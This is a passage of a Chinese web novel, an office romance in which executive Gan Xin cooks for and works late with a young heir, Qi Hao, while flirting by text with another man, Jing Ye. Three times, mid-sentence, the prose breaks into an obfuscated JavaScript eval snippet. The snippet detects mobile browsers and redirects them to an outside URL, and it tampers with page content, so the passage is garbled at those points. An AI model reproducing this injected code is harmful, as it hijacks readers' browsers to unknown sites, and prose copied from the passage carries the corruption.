和齐灏一起逛生鲜超市的感觉很奇怪,明明是个男大、还是个太子爷,挑起菜来,比自己还要熟门熟路,有些菜的菜叶子黑了,他还会没素质地把那片叶子掐掉,再把菜放进袋子里去称重。 “家里鸡蛋还有吗?”齐灏看着成盒的鸡蛋,却没有看向甘歆,像一个经常来陪她买菜的居家男人一样。 “还有两个。”甘歆如实回答道。 “那再买一板把。”齐灏拿了一板三十个的鸡蛋放进篮子里。 路过冷鲜柜的时候,甘歆顺手就要去拿牛奶,放进篮子里又被齐灏拿了出来,她有些不明白,“晚饭应该用不到牛奶?” 齐灏盯着甘歆看,带着狐疑,有点像看傻子,似乎是见她实在要个说法,才纡尊降贵告诉她似的,“牛奶对胃不好。” 甘歆很少有这种尴尬的时候,一下子不知道该怎么反应,打了个哈哈想混过去,“好了伤疤忘了疼,成年人都这样。” 牛奶到底没有买,篮子里却多了一桶酸奶,并非那种带果味的饮品,而是实打实的一加仑酸奶。 结账的时候甘歆亮了码,齐灏一动不动,坦然享受着被“请客”的流程,东西倒都是他拿在手里拎着的,出了超市的门甘歆才觉得意外,平时来超市买东西顶多一个塑料袋,这会儿齐灏手上竟然拎了四个大袋子。 ……都买啥了?她怎么觉得没怎么逛啊? “阿歆。” 温润的男声从身后响起来,甘歆回了头,看见穿了件卡其色外套的梁越,深蓝色的裤子,整个人有些拘谨,连笑都算不上放松。 “梁越,”甘歆往他那走了几步,“出差回来了啊。” “回来了,来买菜?” 甘歆点了点头,“买好了。” 梁越往她手里看了看,是空的,这才注意到站在甘歆身后的人,帅气、挺拔、年轻,眉宇间还有些同性之间才能察觉出来的不快,视线再往下,就看见了他手里拎着的袋子。 “你……朋友?” “啊,不是,”甘歆快速否认道,“我的小学弟,有个项目他来帮忙,要加个班,请他上家里吃个饭。” “……哦,你好,”梁越对着齐灏笑了笑,“我是阿歆的高中同学,梁越。” 齐灏抿了下嘴,微微点了个头,算是打招呼了。 甘歆这才要意识到以齐灏的身份来说,是不会轻易在外面表露的,赶紧打断了两人的话,“我们先走了,回见啊,梁老师。” 走的时候还顺势拽了一下齐灏的手臂催促,她虽然穿着高跟鞋,走路又快又稳,齐灏刻意慢走了两步,欣赏了一会,才大步跟上。 等电梯的时候,甘歆才想起来有件事没和齐灏确认。 “那天你为什么在这里?” “哪天?” “我胃疼的那天。” “做家教。” “做家教?!” 齐灏见她反应大,反而笑了出来,“怎么了?我不能赚点零花钱?” 甘歆一副“你需要吗”的表情,又想起来徐教授说的他是来体验生活的,只能硬咬着牙说行。 “那再之前你来过这里没有?” 齐灏撇头看着她,仿佛在等更多细节。 “……就牛仔裤那次。” “哦,来过。” “那我第一次见到你你说没去过临江的公寓?” 齐灏口气淡得听不出情绪,“学姐也说了,第一次见。” 甘歆反应过来了,是,堂堂寰科太子爷,天之骄子,有多少人都想搏“一次”见面,她嘴上不说,心里却嘟囔着不稀罕。如果他只是一个普通的大学生,可能眼下的事更好办还说不准。 老旧的电梯上升也很慢,两人一时无言。 快到17楼的时候,齐灏开了口,“你高中同学对你有好感。” 不是疑问句,而是口吻想当肯定的陈述句,他低头看着甘歆的反应,却没见她有任何额外的动作,羞赧、尴尬、反感,统统没有。 “小男生这么八卦。”甘歆也淡淡地回他。 齐灏继续问:“你男朋友不知道?” “你会让你女朋友知道有别人对你有好感?” 这个反问让齐灏闭了嘴,甘歆很满意,还能任着一个小鬼玩你问我答的游戏了? 一直到电梯开门,两人都没再说过话。 甘歆开家门的时候,齐灏撂了一句话出来,“我不会给我女朋友以外的人,产生对我有好感的机会。” 她没忍住笑了出来,回过头看齐灏的眼睛亮亮的,好像在看什么稀奇物种,不过确实也稀奇,寰科的男大太子爷,可不就只此一个么,说点霸总语录,有资格,够身份。 甘歆做饭的时候,齐灏并没有在旁边帮忙,甘歆也不喊他,随他去,有他在身边可能更不自在。 咸蛋黄鸡翅,清炒茼蒿菜,罗宋汤,两碗米饭。 在甘歆这,已经是超高规格的接待了,希望他不要不识抬举。 饭菜都上好,甘歆却走开了,已经坐在餐桌边的齐灏抬头问了一句,“不吃吗?” “你先吃,我拿一下手机。” 回来的时候齐灏并没有动筷子,还另外拿了两个碗把汤分了一下,甘歆有些意外,但没表露更多,自顾自地拿出手机来看。 刚刚匆忙亮屏的时候就看到有几条未读信息,这会儿解锁点开,景页的留言就在最上面那个。 景页:今天的夕阳很好看,你有看到吗 景页:我的影子被拉得很长 景页:在等饭,已经闻到香味了,很期待 最后是一张五指张开的左手照片,虚虚地放在一株路边普通的小叶黄杨上,照片一直拍到了手腕,白皙、修长有力,没有一点瑕疵。 甘歆两指放在屏幕上,拉大又放小,连目光都带着温暖的笑意。 “夕阳看到了,还被一只小狗跟回了家,今晚训.狗,不多聊,早点休息。” 她反复看了看自己编辑的文字,又悄悄去看喝汤的齐灏,笑意更盛了些,点击了发送。 齐灏的手机就放在桌上,没动静,左手手腕上的运动手表无声地震了震,他依旧一手捧着碗,一手拿着汤匙一勺勺地往嘴里送,很有教养地没有发出一点声音,优雅从容。 “北泽村是这样的,”甘歆讲究效率,拿起筷子准备吃饭就就打算开始说,“保障房建设项目呢,是晟宇在前几——” “学姐,”齐灏手里的汤碗放到了桌上,碗底和玻璃餐桌相碰,依旧安静,“吃完饭再说,边吃边说伤胃。” 甘歆张了张嘴,又闭上了,夹了一筷子茼蒿放到放完里,就着一小口饭吃了下去。 “我不着急回去。”齐灏补了一句,甘歆呛了一下。 碗是齐灏洗的,甘歆没拦,也没主动告诉他有洗碗机,直到听见哗啦啦的水声,还有锅碗碰撞的声音,她才走进厨房,故作惊讶地说:“有洗碗机。” 齐灏手上没停,连头都没抬,“洗碗机很久没清理过了,有水垢。” 他这才回过身亮了亮正在清洗的东西,是洗碗机里的碗架,“光靠它的自洁功能是不够的,学姐。” “……我买洗碗机就是为了不洗碗,”甘歆有些尴尬,但嘴不让半分,“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627032|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要洗它,岂不是本末倒置了。” 齐灏没再说话,默默将碗筷都洗净又擦干,挨个放好,洗碗机里的碗架和滤芯都重新组装好了,最后还把灶台擦了一遍,整套动作行云流水,一副熟练工的样子,完全不像富贵人家养尊处优的少爷,甘歆就这么靠在厨房门框上安静看完了整套操作。 他将围裙脱下挂回原来的位置上后,又候着水池洗了洗手,压了洗手液,两张刚洗完碗的大手搓出了白沫子,手指交错搓洗,又在手背拇指根处搓了两下,才送到水龙头下冲洗干净,齐灏来回找了下东西,应该是纸巾,但是没找到,索性在牛仔裤上压了压,但宁色的牛仔裤立刻出现了两个颜色更深一点的掌印。 这个人,好像不太一样。 这是甘歆最直观的感受,不仅和传说中的齐家人不一样,感觉和富N代也扯不上任何关系。 “学姐喝点什么?”齐灏说得如此自然,好像他才是这个厨房的主人。 “白桃乌龙,第一个抽屉里有茶包。”甘歆也不矫情,泰然受了。 齐灏打开了抽屉,拿了包白桃乌龙,又翻了翻,拿了包普洱洋甘菊出来,管线机里的水调到了70度,打开专门存放马克杯的长虹玻璃柜时犯了难,里面都是甘歆买回来的马克杯,大小不同、形状各异、颜色都不同。 “用哪个杯子?” “随便。”甘歆是真无所谓。 他就真随便从角落里拿出了两个莫兰迪色的杯子,深藕色和深粉蓝,藕色放乌龙,粉蓝放普洱,烫了下杯子后又冲了一遍茶,才端着两个杯子要走出去。 甘歆没有让开,确切地说,她忘记让开了,齐灏上身是浅色的羊绒毛衣看起来很柔软,被厨房的灯光一照,手上还有两杯冒着热气的茶,衬着他整个人都去掉了一层冷意,竟柔和了起来。 “在这里说?”齐灏的声音从脑袋上落到了甘歆的耳朵里。 “什么?” “学姐是打算在这里和我说北泽村的事情吗?” 甘歆这才回过神来,让了让,又觉得不对,转身离开去了书房,齐灏没跟上来,她松了一口气,挺好,还算自觉,知道不能随便进人家的房间。 拿了笔记本回到客厅时,齐灏已经坐在餐桌边上了,他目光沉静,整个人看起来没有一丝浮躁,除了看起来年轻外,从气质和气场上,已然是一副上位者姿态,看来初次见面时,齐灏应该是刻意收敛了,才没让自己觉得他不好接近。 眼睛瞥过餐桌,发现那杯乌龙是放在普洱边上的,而不是对面。 齐灏看穿了甘歆的顾虑,特意将椅子往旁边拉开了些,是礼貌邀请,也是有意远离。 这个男孩子的心思,远比她自己想得要深。 但这些微妙,也只有在意的人才会小心,甘歆无所谓,径直在齐灏边上坐下。 先喝了一口茶,不烫、温热,入口刚好。 不笑不说话的时候,甘歆看起来也不太好接近,不是小白兔的脸,更像是个会为难人的矜贵夫人。她将电脑里的项目资料打开,推到齐灏面前,“你先简单看下。” 没管齐灏的反应,在椅子上稍微偏了偏,拿出手机看了看,景页竟然有了新的回复。 过去甘歆结束对话后,景页很少会再回复,等着有了新的话题再来找她,这也是让甘歆觉得和他相处起来很舒服的原因之一。 景页:狗狗乖吗? 甘歆抬眼看了看正在认真看项目资料的齐灏,皱了皱眉,想了想,回了一句话过去。 “野性难驯。” 她突然觉得说得有些抬举了,又补了两个字,“乱尿。” 12. 第12章 “所以学姐觉得对村民们讲道理是有用的?” “有用最好,没用也没关系,能表现诚意就行。” 聊了一个多小时,甘歆有些口渴,伸手去拿马克杯,被齐灏拿走了,他站起来往厨房走,“我去加点热水。” 眼里这么有活?甘歆有些意外,好歹是个太子爷,是不是表现得太好相处了? 带着热气的茶又放了回来,这次齐灏没坐下,斜靠着餐桌喝茶,甘歆润了润嗓子,眼睛往上挑了挑,两个人离得近,齐灏又长得高,看到他的脸就有些困难,可他这么一靠,背后的衣服就被抻直了。 稍显宽松的毛衣下,身材很好,甘歆偷偷打量着他的比例,像一只偷腥的猫,光就这么斜靠着,转过头也只能看到胯骨这,心里悄悄起了个疑问,这么会长的吗,20岁就这样,毕业了之后还得了?得多大一堆女生跟着?啧啧,富贵人家事又多,少不了腥风血雨。 “看什么?” 被抓了个现行,甘歆心里咯噔了一下,二十岁的时候可能还会遮掩,三十岁的时候都释然了,爱美之心人皆有之,看个帅哥还不让了? 她索性抬头,讪讪地笑了笑,话也直白,“你腿好长啊。” 齐灏左边的眉毛挑了一下,面无表情地拿起杯子喝了口茶,“嗯。” 到底是个二十来岁的人,甘歆看着他微微泛红的耳廓心情大好,好像找到了他好不容易藏起来的“青涩”。 安静地喝了会儿茶,齐灏抬手看了看手表,站定起身,“谢谢学姐,学到了很多,不早了,今天就到这吧。” 甘歆也抬头看了眼挂钟,竟然已经快十点了,她也站了起来,“谢谢你愿意帮忙才是。” 她抬腿打算送客,齐灏却把两个马克杯都收进了厨房,甘歆又听到了水声,看来是把杯子也洗了,都快怀疑他有洁癖了,好好的太子爷,怎么对这种洗洗刷刷的活儿感兴趣。 水声收住了,齐灏拎了个垃圾袋出来,“这个我顺下去。” “啊,不好意思,谢谢啊。”这句谢谢是真心的,本来还想着厨余垃圾不好放,借着送他的理由下楼去扔一趟,没想到,省事了。 齐灏点了点头,表情依旧淡淡的,走到门口换好了鞋,才提出了他今晚的第一个疑问,“学姐真的觉得,诚意真的能代替利益吗?” 甘歆心里叹了口气,“不能,我们要做的也不是代替,只是减少冲突。” “那……”齐灏的语气里依旧有疑问,却及时收住了,“抱歉,又耽误了你一会儿。” “没事没事,的确有些复杂,”甘歆见他眉头不展,还带了点儿执拗的求知欲,也不好赶人,折中一下,只能约下次,“不急,还有时间的,明天?你有空吗?” 齐灏的喉结明显动了一下,“明天满课,还有个家教。” “……哦,后天呢,周四?” “后天下午晚一点可以,学姐方便吗?” “应该能行,我明天告诉你可以吗?” “好,”齐灏的脸上有了些笑意,“那我周四再来拜访。” “行。” 齐灏走后,甘歆才开始后悔,周四干嘛非得在家啊,去公司办公室不行吗,找个空会议室不是更有工作氛围?可话已经说出口了,也不好收回来。 哎,算了,一回生两回熟,也不差第三回了。 甘歆将电脑里的资料整理了一下,打包了一份发到了齐灏的手机上,“有空可以看看。” 还没退出对话框,就收到了一个他发来的OK。 她笑了笑,把电脑放回了书房,这才将衣服脱了去洗澡,懒得再换,手里拎着睡袍,只穿着内衣内裤进了卫生间,昨天已经洗过头了,找了个夹子将头发拢起来夹在了后脑,等淋浴间已经被热水烘起了水雾,才跨步进去。 整套护肤完后,她觉得有点热,走进厨房打开冰箱想拿牛奶,才想起来根本没买,那一加仑的酸奶就在嵌在冰箱门上的柜子里,上面多了张磨砂标签,仔细看还是手写的。 “生冷食物。” 怎么回事,是上次自己发胃病的时候太吓人了吗?怎么感觉齐灏都有些惊弓之鸟了,牛奶不让喝,酸奶又提醒生冷,喝茶要不要问问他行不行? 她还是给自己倒了杯65度的温水,喝了半杯,就把新拿出来的玻璃杯晾在了餐边柜上。 回到卧室的时候,甘歆才拿出手机看了看,景页只给她发了个表情包,是一个耷拉着耳朵的小狗,好像在认错一样,别的什么内容都没有。 她对着窗外看了看,不比下午的晴朗,夜里云层都堆叠起来了,将月色罩得微弱朦胧,好像再多飘来几片,就能完全遮住。 “你怎么比小狗还狗?”对着景页,甘歆肆无忌惮。 这次景页回得晚了一些,近乎过了20分钟才回复她,“汪。” 甘歆偶尔觉得景页是糖捏的,不然怎么只是说着话,都觉得有甜味,“再叫一声。” “汪汪。” “你比小狗乖多了。” “姐姐,我牙痒了。” “你也要磨牙棒?” 这种浅层的情趣行为,他们彼此都很熟悉。 “磨你行吗?” 不久前的激烈记忆历历在目,甘歆虽然情动,但有着成熟的克制心,给景页发了个食指来回摇晃的表情包。 “只是吻呢?” 甘歆回:“你都没有脸,怎么吻。” 那头沉默了一会儿,发了张照片过来,依旧是左手,背景是一个淡色的空间,因为模糊了分不清这是哪里,只能看到景页手心向上,不知是因为是灯光的关系还是别的,掌心也泛着红。 “我把吻留在掌心里了,姐姐可以捡走吗?” 温和的黄光、柔软的床、犯懒的身体和被热水浇过还有些发热的脑袋,甘歆就这么顺着景页的话问了下去,“怎么捡?” “吻我的手心。” 沉寂了两秒,景页仿佛觉得还不够似的,又说了一句,“我们接吻。” 甘歆觉得这股甜潮来得实在是太猛,她突然有些明白为什么年轻人会甜得想在床上打滚,此时她心里也生出了这样的冲动,但也只是冲动而已。 即使点开了照片,也拉大看了看,她终究没有吻上去。 十年前,兴许还会这么干,现在却清楚明白地知道,这只是屏幕而已。 “不公平,你亲的是热手,却让我舔屏。” 她是故意破坏已经有些旖旎的气氛的,今天已经被工作吸干了仙气,需要养精蓄锐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627033|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景页似乎也察觉到了,没再多话,而是发了一首歌来,直接道了晚安。 今夜没有爱心,却多了一颗星星。 甘歆点开了链接,没有人声,是一手纯音乐,背景音绵软主音色清灵,像是在冬季踩雪。 她不知不觉在音乐的陪伴下陷入了温柔又绵软的梦。 六公里之外的一线江景大平层里,齐灏靠坐在巨大的飘窗一角,整间房子都没有开灯,借着江景对面的建筑群的灯光,他呆的那个角落半明半暗。 放在飘窗上的手机也放着同样的音乐,齐灏闭着眼睛,一脸温柔笑意。 —— 隔天甘歆醒得早,起床舒展了一下,就找了瑜伽垫在客厅阳台这铺开,照着平板练了会儿瑜伽,出了一身汗后又去冲了个澡,出门的时候觉得精神抖擞。 昨晚后半夜应该起了风,堆积起来的乌云都散开了,今天也是个晴天,温度已经慢慢上来了,今天她特意换了条薄一些的紧身牛仔裤,上身是珍珠白的荷叶边衬衣,衣摆收进了裤腰里,没有绑皮带,而是系了一圈白绿相见的丝巾,左腰这打了个结,垂了两个尖尖下来,像兔耳朵。 难得进车库的时候还是空的,她的固定车位就在沈确的旁边,却没想到沈确的玛莎拉蒂总裁已经在车位上了。 甘歆刚解了安全带,那边的副驾驶上就下了个人,是Rita,甘歆不禁抬了抬眉毛。 Rita几乎是贴着甘歆的车门走出去的,onepiece的五分袖A字裙,腰身上还系了条全钻的水晶腰链,端庄婀娜都有了,Rita乍一看不出挑,细看也是个美人,气质也好,要不是多了些大小姐的骄纵和没由来的嫉妒心,甘歆还挺愿意和她交朋友的。 沈确也从车里下来了,路过甘歆的车前往这看了一眼,但没停留,径直往电梯厅里走,Rita也跟了上去,还挽上了他的手臂,沈确没有拒绝。 上位了?甘歆有些意料之外,也觉得情有可原。 挺好的,董事长夫人亲自挑的人,肯定差不到哪儿去。 她心里为沈确高兴,可算是再也不用在节日拉着她加班来躲避相亲了。 进了办公室,气压意外地有些低,甘歆有些莫名其妙,连张然都脸色不太好看。 她在线上敲了敲张然,“怎么了啊?扣钱了?” “……没有,就是公司里在传沈总要和Rita订婚了的消息。” “订婚了?这么快?” “嗯……你没受什么影响吧?” “关我什么事,我今天早上看见他俩一起从车里下来的。” “真的啊?!”没等甘歆回复,张然又打过来一句话,“今天中午吃大餐,我们补补!” 没法聊,甘歆关了对话框,她不是不知道张然若有若无地会提醒下自己的个人问题,而且认定沈确这个人不错,希望他俩能真发展发展。 但甘歆从来没这么想过,老板是老板,工作是工作,玩笑可以开,雷池不能越。 单纯看沈确这个人,的确不错。 但并不值得她冒险,无论是挑战办公室恋情,还是他背后的沈家。 她不是刚毕业的小姑娘,更不愿意做菟丝花。 自己有几斤几两,想要什么,不要什么,她清楚得很。 13. 第13章 正开着部门会议呢,会议室的玻璃门被敲了敲,是Rita,唇膏明显补过了,甘歆只看了一眼就知道是Dior的烈焰蓝金999丝绒款。 会议室里正汇报着的项目停了下来,所有人的目光看向了甘歆,仿佛她要是表现出一点委屈,立马会群情激奋似的,但她真不委屈。 “找我吗?”甘歆眼睛抬了抬,笑着对她说。 Rita点了点头,伸手对甘歆招了招手,说话声音甜也温柔,“找你。” 甘歆点了点头,对着还在分享的项目经理说了声继续,就起身出去了,顺带把会议室的门给关了起来,依旧笑眼盈盈,“怎么啦?” “我有个事拿不定主意,你sense好,能不能帮我看看?” “什么?”甘歆歪了歪头,真表现出了好奇。 “就是Tiffany家的黄钻,你觉得方钻好还是水滴形的好?”Rita的眼睛很亮,脸颊也红红的,看起来有些雀跃,又有些羞涩,全然不是在公司中层会议上反驳各路总监的总助模样,更像个怀春的女生。 “方钻吧,大气点,”甘歆如实回答道,又觉得Rita来这一趟应该是有些炫耀的意思,她通透,也不想让Rita失望而归,主动问道,“有什么喜事呀?” “……没有啦,就是周末要去沈家吃个饭。”Rita眉眼弯弯,气质又好,二十七八的年纪,真的是一个女生最漂亮的时候。 “大事啊,恭喜恭喜呀!”甘歆笑得真诚,也把她当妹妹看。 “不是……就是去吃个饭而已。” “行行行,那我也随便准备一个红包。”甘歆继续捧她,颧骨都有些笑累了。 “哪有的,那我买这个方钻啦。” 甘歆点头,“真的很衬你。” “谢谢,不打扰你啦,”Rita转身要走,又回来关照了一句,“去北泽的事尽快哦,总经理这两天一直问呢。” “嗯嗯,这周肯定走,最晚明天提流程。” “好哒,谢谢歆总。” 看着Rita离开的背影,甘歆呼了一口气,也实打实为这个女孩感到高兴,和喜欢的人又有了进一步的发展,事业上也给到支持,家底也够厚,是挺幸福的。 她拉开会议室玻璃门的同时,手机在手里震了两下,坐下后,因为刚刚听得有些脱节,甘歆顺势开了个小差,解了锁屏看信息。 竟然是景页发来的,上次会议中间他给甘歆发了照片后,她给立了规矩,以后白天少联系,之后他们白天几乎不怎么联系,今天却破了格。 景页:“忍不住了。” 她差点没笑出来,怎么就忍不住了,干什么了就忍不住了?她回了个问号过去。 景页:“想抱你。” 白日宣淫,不讲武德,甘歆不打算回了。 景页:“不是那种。” 甘歆实在没忍住,咬着下嘴唇笑了一下,她不笑还好,一笑会议室就安静下来了,视线都慢慢落到了她的身上。 意识到的时候,她就把手机反扣了过去,抬头时已经敛了神色,说话都是正经的,“怎么了?” “没、没怎么。” “继续啊,”甘歆抬了抬下巴,“执行节奏还没讲完。” “好的歆总。” 她非得好好教训一下景页才行,幸亏坐下来的时候看了一眼PPT,耳朵里落下了几句话,才没在同事面前出糗,当着下属的面摸鱼、还偷笑,这叫什么事儿啊。 下会的时候,甘歆特意叫了几个人留下来再问了问细节,不是做样子,是真没听着。 等到人都走光了,甘歆顺了一口气下来,正准备对景页发个脾气,就已经看到他发了一张照片过来。 背景依旧模糊,好像是在一个小隔间里,照片里的男人穿着藏青色的圆领薄毛衣,从袖口和领口能看到,里面还有件浅蓝色的衬衫,很老派的穿法,但意外端正,裤子是卡其色的休闲裤,正两手张着在身前画了个圈,似乎要把面前的这一团空气拥在怀里。 刚上来的火气突然就消了,甘歆的整个眉眼都放松了下来,唇角也染上了些笑意。 从她28岁开始领导团队,从海外市场杀回国内市场,又一路干到现在的这个职位,她的前男友从欣赏她变成了崇拜,身边的人对她也是敬更多一些,聊天的时候奉承着,谈话的时候阿谀着,在她面前表露真实直白情绪的人越来越少,她也开始慢慢端起来,站得高,站得更高,再碰到地面的时候就会感到虚无。 就好像……穿惯了高跟鞋的人,突然穿上平底鞋,都会下意识地抬起脚跟碾两下一样。 尤其今天的Rita实在太过光彩照人,周身散发的幸福实在太过强烈,让甘歆都产生了那种围绕在她身边的空气都是暖的、香的、甜的似的。 她看着景页环抱着空气的样子,真的开始想象被这样一双手拥抱是什么感觉。 结实的?温暖的?他身上会不会有香气? 如果有的话,甘歆希望是一种木香,不刺鼻,很宽广、很醇厚。 “被你拥抱是什么感觉?” 看到这行字已经发出去时,甘歆吓了一跳,都不知道什么时候打的。 但她没有撤回,真的有些好奇。 两分钟后,景页回复了过来,“你真的想知道吗?” 这句话如同一盆盛满了理智的冷水,还没泼,甘歆就冷静下来了。 “不想。” 回完这句话后,她没再看手机,出了会议室。 还没进自己的办公室,张然就凑了上来,眼神关切,“没事吧?” “什么事?” “Rita那边。” “没事啊,噢明天我提交流程,应该周六就走。” “真没不高兴?” 甘歆笑了出来,凑到张然耳朵边上用只有她听得见的声音说:“一个沈确而已,有什么可惜的。” 张然见她这么没正行,也开起了玩笑,“是了是了,要做就做票大的,寰科怎么样?” 寰科?齐灏?甘歆吓了一哆嗦。 “惹不起惹不起。”她眼睛都瞪大了头往后仰,顺手推开了自己办公室的门,坐回了自己的位置上。 处理完五六封邮件,提了七八条建议,甘歆伸了个懒腰。 她看了一眼手机,景页没有再发信息过来。 倒是齐灏,又发了那三个字过来,“方便吗?” 刚想下班的甘歆,回了个方便过去,接着就坐进了沙发里。 太子爷的习性已经被她掌握得差不多了,问一句是礼貌,他是要给她打电话。 迟迟不见他电话打来,甘歆皱了皱眉,刚想给他打字,齐灏就回了信息过来。 “下楼。” 她真是受够了这个小男生的霸总发言,不打算惯着了,“没下班。” “我在Costa等你。” ——?习惯性堵门?堵完教授的来堵她的了? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627034|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你有什么事吗?”甘歆并不喜欢这种突然袭击,这让她很没有安全感,也让她觉得对方的掌控欲过强了些。 “跟FoF团队过来和晟宇谈事,已经谈完了。” “你的满课指的是这个?”甘歆皱了皱眉,她不喜欢被人欺骗,尤其是耍小聪明的这种。 “是满课,我是被临时叫过来的,带队的人拉肚子了。” 这句话看得甘歆云里雾里,上一秒是投资负责人,下一秒又成了校园里临时顶包的戏码,关键是,她不想让齐灏觉得自己很好拿捏。 要让齐灏意识到,在北泽这件事上,她有绝对的主导权。 “回吧,你还有家教。我今天没时间。” 齐灏没再回复。 是啊,哪个太子爷被拒绝了之后还能舔着脸上来的。 得罪就得罪吧,大不了她自己去北泽村。 她今天故意晚了一点时间下班,就是不想让齐灏堵着她,等到肚子都饿得不行了,才开始收拾东西准备回去,办公室里已经没人了,甘歆却有些意外前台还在。 “歆总,您下班了吗?” “下班了,你怎么还没走?加班?” “不是,”前台小姑娘笑了笑,“有位先生放了份文件在这,关照等您下班的时候给您。” 甘歆有些不好意思,“抱歉啊,耽误你下班了,下次可以直接拿给我的。” “没事,那位先生是从楼上下来的。” 甘歆眼睛眨了眨。 “应该是挺重要的客户吧,我也不敢怠慢。”前台小姑娘咬了咬嘴唇,“还有什么需要我做的吗?” “没有了,快下班吧,谢谢。”甘歆对她笑了笑,又想起来好像前台换过了之后没特意认识过,又问了一句,“怎么称呼你?” “嘉丽,许嘉丽,您也可以叫我Caroline,就是三个音节有点……麻烦。”许嘉丽挠了挠头,好像还不太习惯被叫英文名。 “好的嘉丽,今天多谢你了,快走吧。” “嗯嗯,歆总拜拜。” “拜拜。” 文件被装在了牛皮纸密封袋里,只是绕了绕线圈,没有真正密封,拿在手里有点分量,甘歆有些好奇。 她没有出楼层,折返回到了自己的办公室里,一圈圈绕开线圈,把里面的文件抽了出来。 厚厚一叠,每隔几张就有个标签,写着年份,翻开看,空白处密密麻麻地手写着备注和说明,重点内容用的还是红笔。 北泽村的村志,从今年开始往前推了三十年,人口、民生、变动、大事记几乎都在这里了。 她抿了抿嘴,微微皱起了眉。 不小心碰了下牛皮纸袋,又听到里面“咚”地一声,好像还有东西,索性把它倒过来抖落了一下,才倒出了两包包着白色颗粒物的小包装,甘歆拿了起来,仔细看了看,才在包装袋上面看到了四个字“西湖藕粉”。 甘歆睁了睁眼睛,咽了口唾沫,最后叹了口气。 她拿出手机,打开了齐灏的对话框,“还在Costa吗?” 此时,穿着藏青色圆领毛衣和卡其色休闲西裤的齐灏,就坐在Costa里,盯着对话框许久,也轻轻叹了口气,“已经走了。” 甘歆咬了咬嘴唇,继续回,“明天下课了就来吧。” 齐灏打了句“我来这里不合适”,想了想删除了打了个“好”在输入框里,正准备点击发送,甘歆又发了条过来。 “去我家。” 14. 第14章 四十度的温水先将它融化,再用一百度的开水冲开,搅拌了几下后就得到了一杯稠厚的藕粉,甘歆的鼻子凑近闻了闻,还有一股桂花的香味。 什么时候买的呢…… 这个问题还没想透,另一个问题就冒了上来。 他刚刚让我下楼,是想亲自交给我这些么,给资料就给资料,为什么要买藕粉? 那次胃痛真的太狼狈了吗,把他吓成这样? 甘歆摇了摇头,齐灏那种少年老成处事不惊的样子……应该很难被吓到,难道是来炫技的?拿出这一叠资料等夸? 太子爷需要被夸吗?甘歆被自己的想法蠢笑了。 摸不清楚,明天就问问吧。 本来打算下班的人,就着一杯藕粉坐在办公室里翻着资料,还特意拿出了一张纸将重点内容记下来,尤其是和村民收入有关的,甘歆发现,在村民平均收入旁边,还有着邻村和其他示范村的收入作为对照……短短一天,齐灏做了这么多功课? 虽然以他的能力来说,拿到这些信息并不困难,但实在没有必要。 她认认真真看到了最后一页,拿起手边马克杯再往嘴里送的时候,发现最后剩的那些藕粉已经凉了,这才想起来看时间,竟然已经快十一点了。 窗外的高架上已经不似七八点时那么拥堵,连尾灯都意兴阑珊。 甘歆看了眼明天的日程,上午满了些,下午还有个项目的阶段性汇报,想了想她还是发了封邮件换了一下时间,将它往前挪了,下午就不留事了,早点在家候着,免得辜负了小男生的一片好意。 电梯直接到B2,她有些意外沈确的车竟然还在,甚至还听到了些争执的声音,又往前踏了几步,断断续续的内容才传到了耳朵里。 “我就是问问她意见,你用得着这么帮着吗?” “你想买就买,为什么要去问别人,跟她有关系吗?” “没关系?!你知道公司里你们俩传到什么地步了吗?” “这不是我关心的范畴,你快回去吧。” “沈确!你巴不得公司里这么传吧,这么多年甘歆正眼看过你没有?!你就是她的工具!” “跟你没关系。” “我周六就要去你家吃饭了,这会儿说跟我没关系?我们要订婚了沈确!” “我暂时还没考虑这件事。” “沈确!沈确!!” 车门重重地被甩了一下,空旷的车库好像被撞出了一条裂缝。 总裁车启动了,却迟迟没有走,甘歆看见Rita近乎狼狈地拍了拍车窗,但始终没有放下来,最后还踹了一脚轮胎,气呼呼地走了。 直到另一个方向传来了车发动的声音,轮胎又在地面发出了尖锐的摩擦,轰着油门离开,甘歆才把提着的气放了下来,她无意旁听,却什么都听到了。 此刻车库安静得可怕,她也不敢再按电梯,电梯到达也会有“叮”的一响,她不想让任何人发现。 可是,沈确慢慢把车窗放了下来,唇间夹着一根细烟,平日里总是用发蜡打理得精致清爽的头发垂了一两缕下来,他又扯掉了领带,看着手臂的动作应该是一圈圈地绕在手掌上。 甘歆实在不想惹麻烦,就站在电梯厅窄窄的墙面后,她想等沈确走了之后再出去。 电话铃声来得突然,不知名的座机,应该是推销,她甚至都来不及挂断,沈确就朝这边看过来了。 